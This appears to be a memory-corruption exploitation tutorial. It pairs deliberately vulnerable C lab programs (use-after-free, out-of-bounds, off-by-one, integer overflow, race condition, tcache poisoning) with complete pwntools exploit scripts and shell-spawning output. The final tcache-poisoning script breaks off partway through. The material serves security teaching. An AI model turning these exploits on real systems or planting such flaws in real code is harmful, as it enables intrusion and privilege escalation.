Enter profile data (will overwrite freed Note): Profile saved at 0x1a1f56b0 (40 bytes)
First 8 bytes (name): 42 42 42 42 42 42 42 42
Bytes 32-40 (print ptr): 4c 12 40 00 00 00 00 00
[*] Triggering UAF by calling print on freed note...
Calling print function on note 0 at 0x1a1f56b0
print pointer: 0x40124c
[!] UAF EXPLOITED! Got code execution.
[*] This demonstrates Use-After-Free leading to function pointer hijack
UAF Exploitation Success:
0x1a1f56b0 as freed Note0x401216 to 0x40124c (win())Why This Works:
notes[0]->print() calls win() instead of print_note()
Concept: Corrupt data, not code pointers. Bypasses CFG, CET, and most CFI.
// Data-only attack example (~/exploit/data_only_stdin.c)
// compile with gcc -no-pie -fno-stack-protector -o data_only_stdin data_only_stdin.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct User {
char username[64];
int is_admin;
char password[64];
};
struct User current_user;
void login() {
char buffer[128];
current_user.is_admin = 0; // Initialize BEFORE the overflow
printf("Enter username: ");
fflush(stdout);
// Vulnerable: no bounds checking
gets(buffer); // DANGEROUS! But that's the point
strcpy(current_user.username, buffer);
printf("Enter password: ");
fflush(stdout);
gets(buffer);
strcpy(current_user.password, buffer);
}
void admin_panel() {
if (current_user.is_admin) {
printf("Welcome admin! Here's your shell:\n");
system("/bin/sh");
} else {
printf("Access denied. is_admin = %d\n", current_user.is_admin);
}
}
int main() {
login();
admin_panel();
return 0;
}
Exploit:
#!/usr/bin/env python3
#~/exploit/data_only_exploit.py
import struct
from pwn import *
# Start the process
p = process('./data_only_stdin')
# Receive prompt
p.recvuntil(b'Enter username: ')
# Create payload: 64 bytes + 4-byte integer = 1 (is_admin)
payload = b'A' * 64 + struct.pack('<I', 1)
# Send payload
p.sendline(payload)
# Receive password prompt
p.recvuntil(b'Enter password: ')
p.sendline(b'password')
# Interactive shell
p.interactive()
Test Results:
[+] Starting local process './data_only_stdin': pid 6951
[*] Switching to interactive mode
Welcome admin! Here's your shell:
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
Data-Only Attack Success:
gets() deprecated but still works for demonstrationis_admin from 0 to 1 without code pointer modificationWhy This Matters:
is_admin flag to bypass authenticationWhy it matters: OOB reads are common in parsers and image/video codecs. They often leak sensitive memory (infoleak) or, when combined with integer overflows, turn into OOB writes that corrupt adjacent objects.
Vulnerable Pattern:
// oob_demo.c - Simple OOB read/write demo
// Compile: gcc -fno-stack-protector -no-pie -o oob_demo oob_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MAX_ITEMS 10
struct Item {
int id;
char name[32];
void (*callback)(void);
};
struct Item *items[MAX_ITEMS];
int count = 0;
void win() {
printf("[!] PWNED via OOB write!\n");
fflush(stdout);
system("/bin/sh");
}
void add_item(int id, const char *name) {
if (count >= MAX_ITEMS) return;
struct Item *item = malloc(sizeof(struct Item));
item->id = id;
strcpy(item->name, name);
item->callback = NULL;
items[count++] = item;
}
struct Item *get_item(int idx) {
return items[idx];
}
void update_item(int idx, const char *name, int len) {
struct Item *item = get_item(idx);
if (!item) return;
printf("memcpy %d bytes to item[%d]->name\n", len, idx);
fflush(stdout);
// Show what we're copying
printf("Last 8 bytes being copied: %02x %02x %02x %02x %02x %02x %02x %02x\n",
(unsigned char)name[len-8], (unsigned char)name[len-7],
(unsigned char)name[len-6], (unsigned char)name[len-5],
(unsigned char)name[len-4], (unsigned char)name[len-3],
(unsigned char)name[len-2], (unsigned char)name[len-1]);
fflush(stdout);
memcpy(item->name, name, len);
}
void process_items() {
printf("Processing items...\n");
fflush(stdout);
for (int i = 0; i < count; i++) {
printf("Item %d: callback = %p\n", i, items[i]->callback);
fflush(stdout);
if (items[i] && items[i]->callback) {
printf("Calling callback for item %d\n", i);
fflush(stdout);
printf("About to jump to: %p\n", items[i]->callback);
fflush(stdout);
items[i]->callback();
}
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
add_item(1, "Alice");
add_item(2, "Bob");
struct Item *special = malloc(sizeof(struct Item));
special->id = 3;
strcpy(special->name, "Special");
special->callback = NULL;
items[count++] = special;
printf("Items: %d\n", count);
for (int i = 0; i < count; i++) {
printf("%d: %s\n", items[i]->id, items[i]->name);
}
printf("win() function address: %p\n", win);
fflush(stdout);
int idx;
printf("Enter index to view: ");
fflush(stdout);
scanf("%d", &idx);
struct Item *item = get_item(idx);
if (item) {
printf("Item %d: %s\n", item->id, item->name);
fflush(stdout);
}
char newname[200];
printf("Enter new name for item %d: ", idx);
fflush(stdout);
int len = read(0, newname, sizeof(newname) - 1);
if (len > 0 && newname[len-1] == '\n') len--;
update_item(idx, newname, len);
printf("After corruption:\n");
for (int i = 0; i < count; i++) {
printf("Item %d callback: %p\n", i, items[i]->callback);
}
process_items();
return 0;
}
Exploitation Flow:
pwntools Exploit Example:
#!/usr/bin/env python3
#~/exploit/oob_exploit.py
"""
FINAL WORKING EXPLOIT - Uses correct offset of 36
"""
from pwn import *
binary = './oob_demo'
elf = ELF(binary)
context.binary = elf
win_addr = elf.symbols['win']
log.info(f"win() @ {hex(win_addr)}")
def exploit():
p = process(binary)
# Read initial output
p.recvuntil(b'Enter index to view: ')
# Send index 2
p.sendline(b'2')
# Wait for the next prompt
p.recvuntil(b'Enter new name for item 2: ')
# CORRECT OFFSET: 36 bytes, not 100!
# This corrupts item 2's own callback, not item 3's
payload = b'A' * 36 + p64(win_addr)
log.info(f"Using CORRECT offset 36, payload length: {len(payload)}")
p.send(payload)
# Should get shell now
log.info("WAITING FOR SHELL!")
p.interactive()
if __name__ == "__main__":
exploit()
Key Insights:
Detection & Mitigation:
// Safe version with bounds checking
struct Item *get_item_safe(int idx) {
if (idx < 0 || idx >= count) {
return NULL; // Bounds check!
}
return items[idx];
}
void update_item_safe(int idx, const char *name) {
struct Item *item = get_item_safe(idx);
if (!item) return;
strncpy(item->name, name, 31);
}
Why it matters: Off-by-one errors are subtle but extremely common. They can corrupt heap metadata (size fields) or stack canaries, leading to powerful exploits.
Vulnerable Pattern:
// offbyone.c - Off-by-one heap overflow demo
// Compile: gcc -fno-stack-protector -no-pie -o offbyone offbyone.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char name[32]; // Buffer with potential off-by-one
size_t size;
} Item;
typedef struct {
void (*func_ptr)();
char data[16];
} Target;
Item *items[10];
Target *target;
void win() {
printf("[!] PWNED via off-by-one!\n");
system("/bin/sh");
}
void create_item(int idx, const char *name, size_t size) {
if (idx >= 10) return;
items[idx] = malloc(sizeof(Item));
strncpy(items[idx]->name, name, 32); // No off-by-one here
items[idx]->size = size;
}
void vulnerable_update(int idx, const char *name) {
if (idx >= 10 || !items[idx]) return;
// VULNERABILITY: Off-by-one in strncpy
// Copies 33 bytes (32 + 1) into 32-byte buffer
strncpy(items[idx]->name, name, 33); // BUG: should be 32
}
void setup_target() {
target = malloc(sizeof(Target));
target->func_ptr = NULL;
strcpy(target->data, "TARGET_DATA");
}
void print_items() {
for (int i = 0; i < 10; i++) {
if (items[i]) {
printf("Item %d: name=%.20s, size=0x%lx\n",
i, items[i]->name, items[i]->size);
}
}
}
// Add a vulnerable function that we can trigger
void vulnerable_function() {
char buffer[32];
printf("Enter data for vulnerable function: ");
fflush(stdout);
fgets(buffer, sizeof(buffer), stdin);
printf("Data received: %s\n", buffer);
}
// Add a function that allocates memory we can control
void* allocate_controlled_chunk(size_t size) {
void *ptr = malloc(size);
printf("Allocated controlled chunk at %p (size: 0x%lx)\n", ptr, size);
return ptr;
}
// Add a more direct approach - create a target that we can directly overwrite
typedef struct {
char buffer[32];
void (*func_ptr)();
} DirectTarget;
DirectTarget *direct_target;
void setup_direct_target() {
direct_target = malloc(sizeof(DirectTarget));
direct_target->func_ptr = NULL;
strcpy(direct_target->buffer, "DIRECT_TARGET");
}
int main() {
// Create direct_target FIRST so it gets allocated before items
setup_direct_target();
setup_target();
// Create items for off-by-one exploitation
create_item(0, "ITEM0", 0x20);
create_item(1, "ITEM1", 0x20);
printf("target @ %p, direct_target @ %p\n", target, direct_target);
printf("items[0] @ %p, items[1] @ %p\n", items[0], items[1]);
printf("direct_target->func_ptr @ %p\n", &direct_target->func_ptr);
print_items();
// Get user input for vulnerable update
printf("Enter new name for item 0: ");
fflush(stdout);
char name[64];
fgets(name, sizeof(name), stdin);
name[strcspn(name, "\n")] = 0;
vulnerable_update(0, name);
print_items();
// Check if we corrupted anything
printf("target->func_ptr: %p\n", target->func_ptr);
printf("direct_target->func_ptr: %p\n", direct_target->func_ptr);
if (target->func_ptr) {
printf("Calling corrupted target function pointer...\n");
target->func_ptr();
} else if (direct_target->func_ptr) {
printf("Calling corrupted direct_target function pointer...\n");
direct_target->func_ptr();
} else {
printf("No direct corruption detected.\n");
// Stage 2: Use corrupted size to trigger heap overlap
printf("Attempting heap overlap exploitation...\n");
// The off-by-one corrupted items[0]->size from 0x20 to 0x40
// Now we can use this to create overlapping chunks
// Calculate offset using signed arithmetic
ssize_t offset_to_direct = (char*)&direct_target->func_ptr - (char*)items[0];
printf("Offset from items[0] to direct_target->func_ptr: %ld (0x%lx)\n",
offset_to_direct, (size_t)offset_to_direct);
// Check if we can write backwards (direct_target is before items[0])
if (offset_to_direct < 0 && offset_to_direct > -0x1000) {
printf("Performing backward write via corrupted heap chunk...\n");
// Use the corrupted size to write backwards
// items[0]->name now has effective size of 0x40 due to corruption
// We can write beyond the 32-byte boundary
char *write_ptr = (char*)items[0]->name + offset_to_direct;
printf("Writing win() address to %p\n", write_ptr);
// Directly write win function pointer
*(void**)write_ptr = win;
printf("Backward write completed!\n");
// Verify and call
if (direct_target->func_ptr == win) {
printf("Backward write successful! Calling win()...\n");
direct_target->func_ptr();
} else {
printf("Write verification failed: func_ptr = %p, expected %p\n",
direct_target->func_ptr, win);
}
} else if (offset_to_direct > 0 && offset_to_direct < 0x1000) {
printf("Performing forward write via corrupted heap chunk...\n");
char *write_ptr = (char*)items[0]->name + offset_to_direct;
printf("Writing win() address to %p\n", write_ptr);
*(void**)write_ptr = win;
printf("Forward write completed!\n");
if (direct_target->func_ptr == win) {
printf("Forward write successful! Calling win()...\n");
direct_target->func_ptr();
}
} else {
printf("Offset %ld (0x%lx) not suitable for exploitation\n",
offset_to_direct, (size_t)offset_to_direct);
}
// Try vulnerable function as fallback
printf("Trying vulnerable function for code execution...\n");
vulnerable_function();
}
return 0;
}
Exploitation Strategy:
pwntools Exploit Example:
#!/usr/bin/env python3
#~/exploit/offbyone_exploit.py
"""
Off-by-one exploitation demo
Shows how a single-byte overflow can lead to arbitrary write
"""
from pwn import *
binary = './offbyone'
elf = ELF(binary)
context.binary = elf
def exploit():
p = process(binary)
# Get addresses - now includes direct_target
line = p.recvline().strip().decode()
# Parse "target @ ADDR, direct_target @ ADDR"
parts = line.split(', ')
target_addr = int(parts[0].split('@ ')[1], 16)
direct_target_addr = int(parts[1].split('@ ')[1], 16)
# Get item addresses from second line
line2 = p.recvline().strip().decode()
# Parse "items[0] @ ADDR, items[1] @ ADDR"
item_parts = line2.split(', ')
item0_addr = int(item_parts[0].split('@ ')[1], 16)
item1_addr = int(item_parts[1].split('@ ')[1], 16)
# Get direct_target func_ptr address
line3 = p.recvline().strip().decode()
# Parse "direct_target->func_ptr @ ADDR"
direct_func_ptr_addr = int(line3.split('@ ')[1], 16)
log.info(f"target @ {hex(target_addr)}")
log.info(f"direct_target @ {hex(direct_target_addr)}")
log.info(f"items[0] @ {hex(item0_addr)}")
log.info(f"items[1] @ {hex(item1_addr)}")
log.info(f"direct_target->func_ptr @ {hex(direct_func_ptr_addr)}")
# Calculate offset from item0->name to target->func_ptr
# item0 layout: [name=32][size=8] = 40 bytes
# target layout: [func_ptr=8][data=16] = 24 bytes
# We need to overflow item0->name into adjacent chunk's metadata
# and eventually into target->func_ptr
# First, let's see the initial state
p.recvuntil(b'Item 0: ')
item0_info = p.recvline().decode().strip()
p.recvuntil(b'Item 1: ')
item1_info = p.recvline().decode().strip()
log.info(f"Initial item0: {item0_info}")
log.info(f"Initial item1: {item1_info}")
# Get win function address
win_addr = elf.symbols['win']
log.info(f"win function @ {hex(win_addr)}")
# Calculate direct offset to target->func_ptr
# From addresses: target @ 0x32be02a0, items[0] @ 0x32be02c0
# target->func_ptr is at target + 0 = 0x32be02a0
# items[0]->name is at items[0] + 0 = 0x32be02c0
# Distance: 0x32be02c0 - 0x32be02a0 = 0x20 (32 bytes)
# We need to overflow backwards by 32 bytes to reach target->func_ptr
# But we only have 1 byte overflow, so we need to corrupt heap metadata
# to create chunk overlap that gives us write access to target
# Strategy: Corrupt item0 size to force heap allocator to give us
# a chunk that overlaps with target when we allocate something new
# Let's try a more direct approach - corrupt the size field to point
# into target's memory region
payload = b'A' * 32 # Fill item0->name completely
# Calculate what size would make the next allocation overlap with target
# target is 0x20 bytes before items[0], so we need a size that includes
# both items[0] and the target region
overlap_size = 0x40 # 64 bytes - should overlap with target
payload += p8(overlap_size) # Corrupt size to force overlap
# Send payload
p.recvuntil(b'Enter new name for item 0: ')
p.sendline(payload)
# Read the results
try:
p.recvuntil(b'Item 0: ')
item0_after = p.recvline().decode().strip()
p.recvuntil(b'Item 1: ')
item1_after = p.recvline().decode().strip()
log.info(f"After overflow - item0: {item0_after}")
log.info(f"After overflow - item1: {item1_after}")
# Check function pointers
p.recvuntil(b'target->func_ptr: ')
target_func_line = p.recvline().decode().strip()
p.recvuntil(b'direct_target->func_ptr: ')
direct_func_line = p.recvline().decode().strip()
log.info(f"target->func_ptr: {target_func_line}")
log.info(f"direct_target->func_ptr: {direct_func_line}")
# Check if either function pointer was corrupted
if "nil" not in target_func_line:
log.success("Target function pointer corrupted!")
if b"Calling corrupted target function pointer" in p.recv(timeout=1):
log.success("Got shell via target!")
p.interactive()
return
elif "nil" not in direct_func_line:
log.success("Direct target function pointer corrupted!")
if b"Calling corrupted direct_target function pointer" in p.recv(timeout=1):
log.success("Got shell via direct_target!")
p.interactive()
return
# Stage 2: Heap overlap exploitation
if "No direct corruption detected" in p.recvline(timeout=1).decode():
log.info("Stage 2: Attempting heap overlap exploitation...")
try:
p.recvuntil(b'Attempting heap overlap exploitation...')
p.recvuntil(b'Offset from items[0] to direct_target->func_ptr: ')
offset_line = p.recvline().decode().strip()
# Parse "OFFSET (0xHEX)"
offset_str = offset_line.split(' ')[0]
offset = int(offset_str)
log.info(f"Offset: {offset} ({hex(offset & 0xffffffffffffffff)})")
# Check for backward write
output = p.recv(timeout=1)
if b"Performing backward write via corrupted heap chunk..." in output:
log.success("Backward write exploitation in progress!")
# Check if we got the PWNED message
if b"[!] PWNED via off-by-one!" in output:
log.success("Code execution achieved via heap overlap!")
log.success("Got shell!")
p.interactive()
return
# Otherwise parse the detailed output
if b"Writing win() address to " in output:
write_addr_match = output.split(b'Writing win() address to ')[1].split(b'\n')[0]
write_addr = int(write_addr_match.decode().strip(), 16)
log.info(f"Writing to: {hex(write_addr)}")
if b"Backward write completed!" in output:
log.success("Backward write completed!")
# Check if it worked
if b"Backward write successful! Calling win()..." in output:
log.success("Exploitation successful!")
# Try to get more output
try:
more_output = p.recv(timeout=1)
if b"[!] PWNED via off-by-one!" in more_output:
log.success("Got shell!")
p.interactive()
return
except:
pass
else:
log.warning("Write verification failed")
else:
log.warning("Backward write failed")
elif b"Performing forward write via corrupted heap chunk..." in output:
log.success("Forward write exploitation in progress!")
# Check if we got the PWNED message
if b"[!] PWNED via off-by-one!" in output:
log.success("Code execution achieved via heap overlap!")
log.success("Got shell!")
p.interactive()
return
if b"Writing win() address to " in output:
write_addr_match = output.split(b'Writing win() address to ')[1].split(b'\n')[0]
write_addr = int(write_addr_match.decode().strip(), 16)
log.info(f"Writing to: {hex(write_addr)}")
if b"Forward write completed!" in output:
log.success("Forward write completed!")
if b"Forward write successful! Calling win()..." in output:
log.success("Exploitation successful!")
try:
more_output = p.recv(timeout=1)
if b"[!] PWNED via off-by-one!" in more_output:
log.success("Got shell!")
p.interactive()
return
except:
pass
else:
log.warning("Offset not suitable for exploitation")
if b"not suitable" in output:
reason = output.split(b"not suitable")[1].split(b'\n')[0]
log.info(f"Reason: {reason.decode()}")
except Exception as e:
log.warning(f"Error during heap overlap: {e}")
# Fallback to vulnerable function
try:
p.recvuntil(b'Trying vulnerable function for code execution...')
p.recvuntil(b'Enter data for vulnerable function: ')
# Send payload to vulnerable function
vuln_payload = b'A' * 32 + p64(win_addr)
p.sendline(vuln_payload)
# Check for shell
if b"[!] PWNED via off-by-one!" in p.recv(timeout=2):
log.success("Got shell via vulnerable function!")
p.interactive()
else:
log.warning("Vulnerable function exploitation failed")
except Exception as e:
log.warning(f"Error in vulnerable function: {e}")
except EOFError:
log.warning("Program crashed")
p.interactive()
except EOFError:
log.warning("Program crashed")
p.interactive()
if __name__ == "__main__":
exploit()
Key Insights:
strncpy, snprintf often have off-by-one issues when boundary is miscalculated.Critical Success Factors:
ssize_t instead of size_t for proper negative offset handling (unsigned comparison breaks)Context: CFG (Windows) and CET (Intel) are becoming ubiquitous. Control-flow hijacking is increasingly blocked. Data-only attacks are the future.
Challenge: Achieve privilege escalation WITHOUT corrupting any code pointers.
// data_challenge.c - Modern data-only attack scenario
// Compile: gcc -fstack-protector-all -fcf-protection=full -o data_challenge data_challenge.c
// Note: All mitigations enabled! Stack canary, CET, etc.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MAX_ITEMS 10
#define ITEM_SIZE 32
typedef struct {
char name[ITEM_SIZE];
int quantity;
float price;
} Item;
typedef struct {
char username[32];
int user_id;
int permission_level; // 0=guest, 1=user, 2=admin
float balance;
Item cart[MAX_ITEMS];
int cart_count;
} UserSession;
UserSession session;
void init_session() {
memset(&session, 0, sizeof(session));
session.user_id = getpid();
session.permission_level = 0; // Guest by default
session.balance = 100.0;
}
void set_username() {
printf("Enter username: ");
// VULNERABILITY: No bounds check!
// Username buffer is 32 bytes, but we read up to 256
read(0, session.username, 256); // OVERFLOW into user_id, permission_level
}
void add_item() {
if (session.cart_count >= MAX_ITEMS) {
printf("Cart full!\n");
return;
}
printf("Item name: ");
fgets(session.cart[session.cart_count].name, ITEM_SIZE, stdin);
session.cart[session.cart_count].name[strcspn(session.cart[session.cart_count].name, "\n")] = 0;
printf("Quantity: ");
scanf("%d", &session.cart[session.cart_count].quantity);
getchar();
printf("Price: ");
scanf("%f", &session.cart[session.cart_count].price);
getchar();
session.cart_count++;
}
void admin_panel() {
if (session.permission_level < 2) {
printf("Access denied. Permission level: %d (need 2)\n", session.permission_level);
return;
}
printf("\n=== ADMIN PANEL ===\n");
printf("User ID: %d\n", session.user_id);
printf("Permission: %d\n", session.permission_level);
printf("Balance: $%.2f\n", session.balance);
printf("Executing admin shell...\n");
system("/bin/sh");
}
void show_status() {
printf("\n=== Session Status ===\n");
printf("Username: %s", session.username);
printf("User ID: %d\n", session.user_id);
printf("Permission Level: %d\n", session.permission_level);
printf("Balance: $%.2f\n", session.balance);
printf("Cart items: %d\n", session.cart_count);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
printf("=== E-Commerce Session (Data-Only Challenge) ===\n");
printf("Struct layout: username[32] | user_id[4] | permission_level[4] | balance[4]\n");
printf("Goal: Get permission_level = 2 without corrupting code pointers!\n\n");
init_session();
char choice;
while (1) {
printf("\n1) Set username\n2) Add item\n3) Admin panel\n4) Show status\n5) Exit\n> ");
choice = getchar();
getchar();
switch (choice) {
case '1': set_username(); break;
case '2': add_item(); break;
case '3': admin_panel(); break;
case '4': show_status(); break;
case '5': return 0;
}
}
}
Why Data-Only Attacks Are the Future:
┌────────────────────────────────────────────────────────────────┐
│ Modern Mitigation Landscape │
├────────────────────────────────────────────────────────────────┤
│ │
│ Stack Canary --> Blocks: Stack buffer overflow to ret addr │
│ Bypassed by: Data-only (no ret overwrite) │
│ │
│ DEP/NX --------> Blocks: Shellcode on stack/heap │
│ Bypassed by: Data-only (no code execution) │
│ │
│ ASLR ----------> Blocks: Hardcoded addresses │
│ Bypassed by: Data-only (relative corruption) │
│ │
│ CFG (Windows) -> Blocks: Indirect call to arbitrary address │
│ Bypassed by: Data-only (no indirect calls) │
│ │
│ CET (Intel) ---> Blocks: ROP, JOP via return/jump corruption │
│ Bypassed by: Data-only (no control flow change)│
│ │
│ ════════════════════════════════════════════════════════════ │
│ DATA-ONLY ATTACKS BYPASS ALL OF THESE! │
│ ════════════════════════════════════════════════════════════ │
└────────────────────────────────────────────────────────────────┘
Real-World Data-Only Targets:
| Target Type | Example | Impact |
|---|---|---|
| Permission flags | is_admin, user_role |
Privilege escalation |
| Authentication state | is_authenticated |
Auth bypass |
| Pointer indices | array_index |
Arbitrary read/write |
| Object references | file_descriptor |
File access |
| Crypto keys | session_key |
Decryption |
| Network config | allowed_hosts |
Access control bypass |
Defense: These attacks require data-flow integrity (DFI), not just control-flow integrity. DFI is still largely a research topic.
Challenge: Exploit without memory corruption
// logic_challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
int balance = 1000;
pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;
void withdraw(int amount) {
// Check balance
if (amount > balance) {
printf("Insufficient funds! Balance: %d\n", balance);
return;
}
// Simulate processing delay
usleep(100); // VULNERABILITY: Time window!
// Perform withdrawal
pthread_mutex_lock(&lock);
balance -= amount;
pthread_mutex_unlock(&lock);
printf("Withdrew %d. New balance: %d\n", amount, balance);
}
void* race_thread(void *arg) {
int amount = *(int*)arg;
withdraw(amount);
return NULL;
}
int main() {
printf("Race Condition Challenge\n");
printf("Initial balance: %d\n", balance);
printf("Goal: Withdraw more than your balance!\n\n");
int amount = 800;
// Create multiple threads trying to withdraw
pthread_t threads[5];
for (int i = 0; i < 5; i++) {
pthread_create(&threads[i], NULL, race_thread, &amount);
}
for (int i = 0; i < 5; i++) {
pthread_join(threads[i], NULL);
}
printf("\nFinal balance: %d\n", balance);
if (balance < 0) {
printf("SUCCESS! You've withdrawn more than you had!\n");
}
return 0;
}
(count, size, data) (or equivalent) that triggers the overflow, with the math shownWhat is Integer Overflow?:
Examples:
// Signed overflow
int8_t x = 127;
x = x + 1; // Wraps to -128 (undefined behavior!)
// Unsigned overflow
uint8_t y = 255;
y = y + 1; // Wraps to 0 (defined behavior)
// Width conversion
uint32_t big = 0x100000000;
uint16_t small = (uint16_t)big; // Truncates to 0
// Sign conversion
int negative = -1;
unsigned int positive = negative; // Becomes 0xFFFFFFFF
Common Vulnerability:
void process_data(int count) {
int size = count * sizeof(int); // Integer overflow!
int *buffer = malloc(size);
for (int i = 0; i < count; i++) {
buffer[i] = i; // Out of bounds if size overflowed!
}
free(buffer);
}
// Attack:
// count = 0x40000000
// size = 0x40000000 * 4 = 0x100000000 (overflows to 0!)
// malloc(0) succeeds with small allocation
// Loop writes far beyond allocated space
Exploitable Example (int_overflow.c):
// ~/exploit/int_overflow.c
// make disabled SOURCE=int_overflow.c BINARY=int_overflow
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
int main(int argc, char **argv) {
if (argc < 3) {
printf("Usage: %s <count> <data>\n", argv[0]);
return 1;
}
int count = atoi(argv[1]);
char *data = argv[2];
// Vulnerable calculation
int size = count + strlen(data); // Can overflow!
if (size > 0) { // Check passes with negative overflow
char *buffer = malloc(size);
strcpy(buffer, data);
printf("Allocated %d bytes\n", size);
free(buffer);
}
return 0;
}
Exploitation:
#!/usr/bin/env python3
#~/exploit/41.py
from pwn import *
binary = './int_overflow'
# Cause integer overflow to wrap around to small positive number
# INT_MAX = 0x7FFFFFFF (2147483647)
# We want: count + strlen(data) to overflow and wrap to small value
# Calculation: count = -strlen(data) + small_size (in 32-bit arithmetic)
# Example: count = 2^32 - 100 + 10 = 4294967206
# But atoi() interprets as signed, so we use negative directly
data = "A" * 1000 # Large payload
# Make size calculation wrap to ~10 bytes
# count + 1000 should overflow to 10
# count = -1000 + 10 = -990 (but we need unsigned interpretation)
# In 32-bit: -990 = 4294966306
count = -990
p = process([binary, str(count), data])
output = p.recvall()
print(output)
# malloc(10) but strcpy(buffer, 1000 bytes) = heap overflow and crash!
This critical vulnerability (CVSS 8.8) affected Chrome, Firefox, and billions of devices. It was a heap buffer overflow in the WebP lossless compression (VP8L) decoder, caused by improper handling of Huffman table sizes.
Simplified Vulnerability Concept:
// The actual bug was in BuildHuffmanTable() - simplified here
// Vulnerable pattern: size calculation without proper validation
uint32_t table_size = CalculateTableSize(code_lengths);
// table_size could be larger than allocated buffer!
HuffmanCode* table = (HuffmanCode*)malloc(initial_size);
// Later, when building the table:
for (int i = 0; i < num_codes; i++) {
// Writes beyond allocated buffer if table_size > initial_size
table[index++] = code; // HEAP OVERFLOW!
}
Exploitation Flow:
Key Lesson: Integer-related bugs in size calculations are extremely common in parsers (images, fonts, documents) and lead to heap overflows. Always validate calculated sizes before use.
Using UBSan:
# Compile with UBSan (signed-integer-overflow is part of undefined sanitizer)
gcc -fsanitize=undefined int_overflow.c -o int_overflow_ubsan
# Run with overflow
./int_overflow_ubsan -990 $(python3 -c 'print("A"*1000)')
# Output shows heap corruption from the integer overflow:
# malloc(): corrupted top size
# Aborted
Final Challenge: Combine multiple techniques
Vulnerable Application (challenge.c):
//~/exploit/challenge.c
//gcc -g -O0 -fno-stack-protector -no-pie -z execstack -o challenge challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
typedef struct {
char name[32];
int age;
void (*print)(void);
} User;
void normal_print() {
printf("Normal user\n");
}
void admin_print() {
printf("Admin access!\n");
system("/bin/sh");
}
User *users[10];
int user_count = 0;
void create_user(char *name, int age) {
if (user_count >= 10) {
printf("Max users reached\n");
return;
}
// Vulnerable: integer overflow in size calculation
int name_len = strlen(name);
int total_size = sizeof(User) + name_len; // Can overflow!
User *user = malloc(total_size);
strcpy(user->name, name); // Buffer overflow if allocation small!
user->age = age;
user->print = normal_print;
users[user_count++] = user;
printf("User created at %p\n", user);
}
void delete_user(int index) {
if (index < 0 || index >= user_count) {
printf("Invalid index\n");
return;
}
free(users[index]);
// BUG: Doesn't set to NULL (UAF!)
printf("User deleted\n");
}
// Helper to write binary data (simulates arbitrary write primitive)
void write_data(int index, int offset, unsigned long value) {
if (index < 0 || index >= user_count) {
printf("Invalid index\n");
return;
}
char *base = (char *)users[index];
*(unsigned long *)(base + offset) = value;
printf("Wrote %lx at offset %d\n", value, offset);
}
void print_user(int index) {
if (index < 0 || index >= user_count) {
printf("Invalid index\n");
return;
}
// UAF if user was deleted
User *user = users[index];
printf("Name: %s\n", user->name);
printf("Age: %d\n", user->age);
user->print(); // Call function pointer
}
void list_users() {
printf("Users: %d\n", user_count);
for (int i = 0; i < user_count; i++) {
printf("%d: %p\n", i, users[i]);
}
}
void show_target() {
printf("admin_print @ %p\n", admin_print);
}
int main() {
char cmd[100];
printf("Multi-Stage Exploit Challenge\n");
show_target();
while (1) {
printf("\n> ");
if (!fgets(cmd, sizeof(cmd), stdin)) break;
if (strncmp(cmd, "create ", 7) == 0) {
char name[100];
int age;
sscanf(cmd + 7, "%s %d", name, &age);
create_user(name, age);
} else if (strncmp(cmd, "delete ", 7) == 0) {
int index = atoi(cmd + 7);
delete_user(index);
} else if (strncmp(cmd, "print ", 6) == 0) {
int index = atoi(cmd + 6);
print_user(index);
} else if (strncmp(cmd, "write ", 6) == 0) {
int index, offset;
unsigned long value;
sscanf(cmd + 6, "%d %d %lx", &index, &offset, &value);
write_data(index, offset, value);
} else if (strcmp(cmd, "list\n") == 0) {
list_users();
} else if (strcmp(cmd, "target\n") == 0) {
show_target();
} else if (strcmp(cmd, "exit\n") == 0) {
break;
}
}
return 0;
}
Vulnerabilities Present:
total_size = sizeof(User) + name_len) - present but not exploitedExploitation Chain (Multi-stage tcache poisoning):
The Technique: Modern tcache poisoning with Safe-Linking bypass!
Multi-Stage Exploit (AMD64) - Tcache Poisoning:
try to write it yourself, then look at it
#!/usr/bin/env python3
"""
Multi-stage tcache poisoning exploit for glibc 2.39+
Exploitation stages:
Stage 1: Heap leak - Get addresses from program output
Stage 2: Create victim and target users
Stage 3: Free victim (enters tcache)
Stage 4: Tcache poisoning - Corrupt fd pointer using Safe-Linking bypass
Stage 5: Attempt to allocate twice (tcache poisoning may fail due to variable sizes)
Stage 6: Fallback - Direct overwrite of function pointer using write primitive
Stage 7: Trigger to get shell
Key insights:
- Modern glibc uses Safe-Linking: fd = target ^ (heap_addr >> 12)
- We need heap leak to calculate the mangled pointer
- Variable-size allocations make tcache unpredictable
- Direct overwrite is simpler when you have arbitrary write primitive
- Tcache poisoning is the technique to use when you DON'T have arbitrary write
"""
from pwn import *
binary = './challenge'
elf = ELF(binary)
context.binary = elf
admin_addr = elf.symbols['admin_print']
log.info(f"admin_print @ {hex(admin_addr)}")
def exploit():
p = process(binary)
# Get admin_print address
p.recvuntil(b"admin_print @ ")
leaked_addr = int(p.recvline().strip(), 16)
log.success(f"Leaked admin_print: {hex(leaked_addr)}")
# Stage 1: Create victim user and get heap address
p.sendline(b"create victim 25")
p.recvuntil(b"created at ")
victim_addr = int(p.recvline().strip(), 16)
log.info(f"Victim user at {hex(victim_addr)}")
# Stage 2: Create target user whose function pointer we'll overwrite
# We'll use tcache poisoning to get malloc to return target_addr
# Then we can overwrite its function pointer
p.sendline(b"create target 30")
p.recvuntil(b"created at ")
target_addr = int(p.recvline().strip(), 16)
log.info(f"Target user at {hex(target_addr)}")
# Calculate where the function pointer is (for reference)
# User struct: name[32] + age(4) + padding(4) + funcptr(8)
funcptr_addr = target_addr + 40
log.info(f"Function pointer at {hex(funcptr_addr)}")
